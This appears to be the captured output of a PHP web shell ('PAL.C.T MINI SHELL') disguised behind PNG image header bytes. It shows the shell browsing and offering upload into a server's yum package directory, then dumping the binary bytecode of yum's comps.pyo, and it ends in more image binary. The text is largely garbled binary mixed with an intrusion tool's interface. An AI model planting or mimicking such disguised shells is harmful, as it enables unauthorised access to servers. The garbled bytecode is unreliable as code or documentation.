php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/lib/python2.6/site-packages/yum/
upload
files >> //usr/lib/python2.6/site-packages/yum/comps.pyo

[c@sddkZddkZddkTddklZddkZddkZddklZddk	l
Z
ddklZ
dZdZd	Zd
efdYZdefd
YZdefdYZdefdYZdZedjoendS(iN(t*(tCompsException(t
to_unicode(tget_my_lang_code(tcElementTree_iterparses*{http://www.w3.org/XML/1998/namespace}langcCsti|itS(N(tBOOLEAN_STATEStgettlowertFalse(tstrng((s-/usr/lib/python2.6/site-packages/yum/comps.pyt
parse_booleanscCs
t|S(N(tint(R	((s-/usr/lib/python2.6/site-packages/yum/comps.pytparse_number"stCompsObjcBsYeZdZdZedZedZdZdZdZ	dZ
RS(s Group/Category helper object. cCs|iS(s3 Return the "name" of the object for the C locale. (tname(tself((s-/usr/lib/python2.6/site-packages/yum/comps.pyt__str__)scCs|itS(s9 Return the "name" of the object for the current locale. (t
nameByLangR(R((s-/usr/lib/python2.6/site-packages/yum/comps.pytui_name-scCs|itS(s@ Return the "description" of the object for the current locale. (tdescriptionByLangR(R((s-/usr/lib/python2.6/site-packages/yum/comps.pytui_description2scCsU|djodS|i|ijodS|i|ijodSt|i|iS(Nii(tNonet
display_ordertcmpR(Rtother((s-/usr/lib/python2.6/site-packages/yum/comps.pyt__cmp__7s
cCsddk}|g}d|jo|idng}xF|D]>}x5|i|D]$}||jo|i|qVqVWq@W|S(NitC(tgettexttappendt_expand_lang(RtlangRt	languagestnelangstnelang((s-/usr/lib/python2.6/site-packages/yum/comps.pyt_expand_languagesBs	

cCsIx9|i|D](}||ijot|i|SqWt|iS(N(R"ttranslated_nameRR(RRtlangcode((s-/usr/lib/python2.6/site-packages/yum/comps.pyRQs
cCsIx9|i|D](}||ijot|i|SqWt|iS(N(R"ttranslated_descriptionRtdescription(RRR$((s-/usr/lib/python2.6/site-packages/yum/comps.pyRYs
(t__name__t
__module__t__doc__RtpropertyRRRR"RR(((s-/usr/lib/python2.6/site-packages/yum/comps.pyR
%s				tGroupcBsSeZdZddZdZeeZdZdZ	dZ
dZRS(s? Group object parsed from group data in each repo. and merged. cCst|_t|_t|_d|_d|_h|_h|_h|_	h|_
h|_h|_d|_d|_d|_t|_t|_|o|i|ndS(Nti(tTruetuser_visibleRtdefaulttselectedRR&R#R%tmandatory_packagestoptional_packagestdefault_packagestconditional_packagesRtlangonlytgroupidRt	installedttoremovetparse(Rtelem((s-/usr/lib/python2.6/site-packages/yum/comps.pyt__init__cs$																cCs:|ii|ii|ii|ii}|S(N(R1tkeysR2R3R4(Rtlst((s-/usr/lib/python2.6/site-packages/yum/comps.pyt_packageiterxs&cCsx|D]}|idjo0|i}|idj	o
tn||_q|idjoZ|i}|o|id}n|iit}|o||i	|<q||_
q|idjoe|i}|o|id}n|iit}|o||i|<q|o
||_qq|idjot
|i|_q|idjot|i|_q|idjot
|i|_q|idjo0|i}|idj	o
tn||_q|id
jo|i|qqWdS(NtidRtutf8R&tuservisibleRR/R5t	lang_onlytpackagelist(slangonlyRB(ttagttextR6RRtencodetattribRt	lang_attrR#RR%R&R
R.RRR/R5tparse_package_list(RR:tchildtmyidRER((s-/usr/lib/python2.6/site-packages/yum/comps.pyR9sJ	

	
		

cCsx|D]}|idjo|iid}|p
d}n|d
joqn|i}|djod|i|<q|djod|i|<q|djod|i|<q|djo|iid	|i|<qqqWdS(Nt
packagereqttypeu	mandatoryt	mandatoryR/toptionaltconditionalitrequires(RNsdefaultRORP(RDRGRRER1R3R2R4(Rtpackagelist_elemRJtgenretpackage((s-/usr/lib/python2.6/site-packages/yum/comps.pyRIs"

	



cCsgx|iD]}d|i|<q
Wx|iD]}d|i|<q+Wx|iD]}d|i|<qLWx%|iD]}|i||i|<qmW|idjo |idjo|i|_n|idjo |idjo|i|_nx9|iD].}||ijo|i||i|<qqWx9|iD].}||ijo|i||i|<q1q1WdS(s'Add another group object to this objectiR,N(R1R3R2R4RR&R#R%(RtobjtpkgR((s-/usr/lib/python2.6/site-packages/yum/comps.pytadds0



  

cCsd|it|iit|ii|if}|io|d|i7}n|d|i7}x7t|i	i
D] \}}|d||f7}qW|d|i7}x7t|ii
D] \}}|d||f7}qW|d7}x%t|i
D]}|d|7}q	Wx%t|iD]}|d	|7}q1Wx%t|iD]}|d
|7}qYWx7t|ii
D] \}}|d||f7}qW|d7}|d
7}|S(s,write out an xml stanza for the group objects        
  <group>
   <id>%s</id>
   <default>%s</default>
   <uservisible>%s</uservisible>
   <display_order>%s</display_order>
s   <langonly>%s</langonly>s   <name>%s</name>
s!   <name xml:lang="%s">%s</name>
s!   <description>%s</description>
s/   <description xml:lang="%s">%s</description>
s    <packagelist>
s3      <packagereq type="mandatory">%s</packagereq>
s1      <packagereq type="default">%s</packagereq>
s2      <packagereq type="optional">%s</packagereq>
sC      <packagereq type="conditional" requires="%s">%s</packagereq>
s    </packagelist>
s
  </group>(R6tstrR/RR.RR5RtsortedR#titemsR&R%R1R3R2R4(RtmsgRtvalRVtreq((s-/usr/lib/python2.6/site-packages/yum/comps.pytxmls8



N(R'R(R)RR;R>R*tpackagesR9RIRWR^(((s-/usr/lib/python2.6/site-packages/yum/comps.pyR+`s			3		"tCategorycBsSeZdZddZdZeeZdZdZ	dZ
dZRS(sB Category object parsed from group data in each repo. and merged. cCs[d|_d|_d|_h|_h|_d|_h|_|o|i|ndS(NR,i(	RRt
categoryidR&R#R%Rt_groupsR9(RR:((s-/usr/lib/python2.6/site-packages/yum/comps.pyR;s							cCs
|iiS(N(RbR<(R((s-/usr/lib/python2.6/site-packages/yum/comps.pyt
_groupiter"scCspxi|D]a}|idjo0|i}|idj	o
tn||_q|idjoZ|i}|o|id}n|iit}|o||i	|<qh||_
q|idjoZ|i}|o|id}n|iit}|o||i|<qh||_q|idjo|i
|q|idjot|i|_qqWdS(NR?RR@R&t	grouplistR(RDRERaRRRFRGRRHR#RR%R&tparse_group_listRR(RR:RJRKRER((s-/usr/lib/python2.6/site-packages/yum/comps.pyR9's6	

	
	
cCs?x8|D]0}|idjo|i}d|i|<qqWdS(NR6i(RDRERb(Rtgrouplist_elemRJR6((s-/usr/lib/python2.6/site-packages/yum/comps.pyReKs
	cCsx|iD]}d|i|<q
Wx9|iD].}||ijo|i||i|<q+q+Wx9|iD].}||ijo|i||i|<qgqgWdS(s*Add another category object to this objectiN(tgroupsRbR#R%(RRUtgrpR((s-/usr/lib/python2.6/site-packages/yum/comps.pyRWQs


cCsd|i|if}|d|i7}x1|iiD] \}}|d||f7}q7W|d|i7}x1|iiD] \}}|d||f7}q|W|d7}x|iD]}|d|7}qW|d7}|d	7}|S(
s/write out an xml stanza for the category objectsJ        
  <category>
   <id>%s</id>
   <display_order>%s</display_order>
s   <name>%s</name>
s!   <name xml:lang="%s">%s</name>
s!   <description>%s</description>
s0    <description xml:lang="%s">%s</description>
s    <grouplist>
s     <groupid>%s</groupid>
s    </grouplist>
s  </category>
(RaRRR#RZR&R%Rg(RR[RR\Rh((s-/usr/lib/python2.6/site-packages/yum/comps.pyR^`s 



N(R'R(R)RR;RcR*RgR9ReRWR^(((s-/usr/lib/python2.6/site-packages/yum/comps.pyR`s		$		tCompscBseZedZdZdZeeZeeZdZ	dZ
edZedZ
dZdZdd	Zd
ZdZRS(
cCs1h|_h|_d|_||_t|_dS(Ni(Rbt_categoriest
compscounttoverwrite_groupsRtcompiled(RRl((s-/usr/lib/python2.6/site-packages/yum/comps.pyR;ys
				cCs&|ii}|idd|S(NtkeycSs|i|ifS((RR(tx((s-/usr/lib/python2.6/site-packages/yum/comps.pyt<lambda>s(Rbtvaluestsort(Rtgrps((s-/usr/lib/python2.6/site-packages/yum/comps.pyt
get_groupsscCs&|ii}|idd|S(NRncSs|i|ifS((RR(Ro((s-/usr/lib/python2.6/site-packages/yum/comps.pyRps(RjRqRr(Rtcats((s-/usr/lib/python2.6/site-packages/yum/comps.pytget_categoriesscCs|i|}|otStS(N(t
return_groupsR-R(Rtgrpidtexists((s-/usr/lib/python2.6/site-packages/yum/comps.pyt	has_groupscCs#|i|}|o	|dSdS(s$Return the first group which matchesiN(RwR(RRxRs((s-/usr/lib/python2.6/site-packages/yum/comps.pytreturn_groups	c
Csnh}x[|idD]J}|i}||ijo!|i|}|||i<qn|otiti|i}n%titi|dti	i}t
}xY|iD]N}xE|i|i|i
fD]+}	||	ot}|||i<PqqWqW|oqnxJ|iD]?}x6|iiD]%}	||	o|||i<Pq3q3WqWqW|iS(s;return all groups which match either by glob or exact matcht,tflags(tsplittstripRbR6tretcompiletfnmatcht	translatetmatchtIRRgRRR-R#Rq(
Rt
group_patterntcase_sensitivetreturnstitemt	thisgroupRtdonetgroupR((s-/usr/lib/python2.6/site-packages/yum/comps.pyRws<

$






c	Csnh}x[|idD]J}|i}||ijo!|i|}|||i<qn|ptiti|i}n%titi|dti	i}t
}xY|iD]N}xE|i|i|i
fD]+}||ot}|||i<PqqWqW|oqnxJ|iD]?}x6|iiD]%}||o|||i<Pq3q3WqWqW|iS(s?return all categories which match either by glob or exact matchR|R}(R~RRjRaRRRRRRRt
categoriesRRR-R#Rq(	Rtpatterntignore_caseRRtcatRRR((s-/usr/lib/python2.6/site-packages/yum/comps.pytreturn_categoriess<

$






cCsH|i|ijo!|i|i}|i|n||i|i<dS(N(R6RbRW(RRt	thatgroup((s-/usr/lib/python2.6/site-packages/yum/comps.pyt	add_groupscCsH|i|ijo!|i|i}|i|n||i|i<dS(N(RaRjRW(Rtcategorytthatcat((s-/usr/lib/python2.6/site-packages/yum/comps.pytadd_categorysc		Cs9|p
tnt|tijoKyt|d}Wqxtj
o%}td||i|ifqxXn|}|id7_t	|_
t|}yuxn|D]f\}}|idjot
|}|i|n|idjot|}|i|qqWWntj
o}tdnX~dS(Ntrtsopen(%s): #%u %siRRscomps file is empty/damaged(RRMttypestStringTypestopentIOErrorterrnotstrerrorRkRRmt	iterparseRDR+RR`RtSyntaxError(	RtsrcfiletinfiletetparserteventR:RR((s-/usr/lib/python2.6/site-packages/yum/comps.pyRWs.
%	cCsh}x'|D]\}}}}}d||<q
Wx|iD]}t|idjo<t|_x|iD]!}	|	|jot|_PqiqiWq:|ii|ii|i	i}
t|_x)|
D]!}	|	|jot|_PqqWq:Wt|_
dS(s4 compile the groups into installed/available groups iiN(RgtlenR1R-R7RR2R<R3R4Rm(Rt
pkgtuplisttinst_pkg_namestntaRtvtrRtpkgnamet
check_pkgs((s-/usr/lib/python2.6/site-packages/yum/comps.pyRs*
	

	
)	
	
cCs}|io|iodSd}x$|iD]}||i7}q.Wx$|iD]}||i7}qUW|d7}|S(s8returns the xml of the comps files in this class, mergedR,sz<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE comps PUBLIC "-//Red Hat, Inc.//DTD Comps info//EN" "comps.dtd">
<comps>
s

</comps>
(RbRjRtR^Rv(RR[tgtc((s-/usr/lib/python2.6/site-packages/yum/comps.pyR^3s


N(R'R(RR;RtRvR*RgRRzR{RwR-RRRRRWRR^(((s-/usr/lib/python2.6/site-packages/yum/comps.pyRixs					%"			 cCsytidGHt}x"tidD]}|i|q&Wx3|iD](}|GHx|iD]}d|GHq\WqGWx6|iD]+}|iGHx|iD]}d|GHqWq}WWn8tj
o,ti	dtidIJti
dnXdS(Nis  snewcomps.py: No such file:'%s'(tsystargvRiRWRgR_RRRtstderrtexit(tpRRRVR((s-/usr/lib/python2.6/site-packages/yum/comps.pytmainIs*	



t__main__(RRt	constantstErrorsRRRtyum.i18nRtmiscRtyum.miscRRRHR
RtobjectR
R+R`RiRR'(((s-/usr/lib/python2.6/site-packages/yum/comps.pyt<module>s$
		;e	

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`